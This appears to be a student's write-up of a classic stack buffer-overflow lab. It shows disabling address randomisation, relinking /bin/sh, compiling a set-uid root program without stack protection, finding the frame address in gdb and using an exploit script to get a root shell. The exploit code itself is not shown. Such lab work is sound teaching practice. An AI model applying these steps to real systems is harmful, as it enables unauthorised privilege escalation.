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## Pre-task 1

Turn off countermeasures such as the address space randomization because with it on, guessing the exact address will be difficult. Also, we have to link /bin/sh to zsh because dash shell has a countermeasure that prevents being executed in a set-uid process and it would be difficult to run the attack.

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    □ □ Terminal

Amir Mansha@vm:~$cd lab
Amir Mansha@vm:~$ls
call shellcode.c exploit.py stack.c
Amir Mansha@vm:~$sudo sysctl -q kernel.randomize
va space
kernel.randomize va space = 2
Amir Mansha@vm:~$sudo sysctl -w kernel.randomize
va space=0
kernel.randomize va space = 0
Amir Mansha@vm:~$ls -l /bin/sh
lrwxrwxrwx 1 root root 4 Jul 25 2017 /bin/sh ->
 dash
Amir Mansha@vm:~$sudo ln -sf /bin/zsh /bin/sh
Amir Mansha@vm:~$ls -l /bin/sh
lrwxrwxrwx 1 root root 8 Mar 12 19:50 /bin/sh ->
 /bin/zsh
Amir Mansha@vm:~$
```

## **TASK 1:**

The shellcode is a code that launches a shell to force the vulnerable program to work. Using the "execstack" command (without it, the program will fail to execute), we compile the program.

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Amir Mansha@vm:~$gcc -z execstack -o call shellc
ode call shellcode.c
call shellcode.c: In function 'main':
call shellcode.c:24:4: warning: implicit declara
tion of function 'strcpy' [-Wimplicit-function-d
eclarationl
    strcpy(buf, code);
call shellcode.c:24:4: warning: incompatible imp
licit declaration of built-in function 'strcpy'
call shellcode.c:24:4: note: include '<string.h>
 or provide a declaration of 'strcpy'
Amir Mansha@vm:~$ls
call shellcode exploit.c
call shellcode.c stack.c
Amir Mansha@vm:~$./call shellcode
$
```

The output is "\$", which means the program execution is successful without any errors.

I included the buffer size "200" in the vulnerable "stack.c" program.

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* Suggested value: Detween
#ifndef BUF_SIZE
#define BUF_SIZE 200
#endif
```

I compiled the stack.c program using the buff size value "200" and changed the program to root owned using "chown" and enabled Set-uid using "chmod 4755" that changes the permissions.

```
Amir Mansha@vm:~$ls
call shellcode
                 exploit.c stack.c
call shellcode.c exploit.py
Amir Mansha@vm:~$gcc -DBUF SIZE=200 -o stack -z
execstack -fno-stack-protector stack.c
Amir Mansha@vm:~$ls
call shellcode
                 exploit.c
                             stack
call shellcode.c exploit.py stack.c
Amir Mansha@vm:~$sudo chown root stack
Amir Mansha@vm:~$sudo chmod 4755 stack
Amir Mansha@vm:~$ls
        lcode exploit.c
                             stack
    snetlcode.c exploit.py
                             stack.c
```

To find the "ebp" address that is used in task 2, I compile the program in debug mode using "gdb." The ebp is 0xbfffea68.

Amir Mansha@vm:~\$pwd

/home/seed/lab

```
Amir Mansha@vm:~$gcc -DBUF SIZE=200 -o stack gdb
 -z execstack -fno-stack-protector stack.c
Amir Mansha@vm:~$ls
badfile
                   exploit.py stack gdb
call shellcode stack
call shellcode.c stack.c
Amir Mansha@vm:~$gdb ./stack gdb
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.04) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc
License GPLv3+: GNU GPL version 3 or later <http
://gnu.org/licenses/gpl.html>
EAX: 0xbfffeb57 --> 0x34208
EBX: 0x0
ECX: 0x804fb20 --> 0x0
EDX: 0x0
ESI: 0xb7f1c000 --> 0x1b1db0
EDI: 0xb7f1c000 --> 0x1b1db0
EBP: 0xbfffea68 --> 0xbfffed68 --> 0x0
ESP: 0xbfffe990 --> 0x804fa88 --> 0xfbad2498
EIP: 0x80484f4 (<bof+9>:
                                    esp,0x8)
                             sub
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTER
RUPT direction overflow)
```

Just to double check, I printed out the "ebp" and it is 0xbfffea68.

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Legend: code, data, rodata, value

Breakpoint 1, 0x080484f4 in bof ()

gdb-peda$ p $ebp

$1 = (void *) 0xbfffea68

gdb-peda$
```

## TASK 2

In the exploit.py code, using practical theory, I added 12 bytes to the buff size 200. From there, I incremented each byte until it is 4 bytes. Using the practical theory, I added a bigger value to the ebp address and kept guessing until the code worked. In this case, adding 150 worked in the hex value I got which is 0xBFFFEBB8.

I used "a+x" to make the program executable for all users and then I created the badfile using "exploit.py" and then I ran the stack program.

```
Amir Mansha@vm:~$chmod a+x exploit.py
Amir Mansha@vm:~$ls
badfile
                  peda-session-stack gdb.txt
call shellcode
                  stack
call shellcode.c
                  stack.c
exploit.py
                  stack qdb
Amir Mansha@vm:~$exploit.py
Amir Mansha@vm:~$./stack
# whoami
root
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(
seed),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113
(lpadmin), 128(sambashare)
```

The output was # which means I am root. I used the "whoami" command which says I am root. The buffer overflow attack was successful.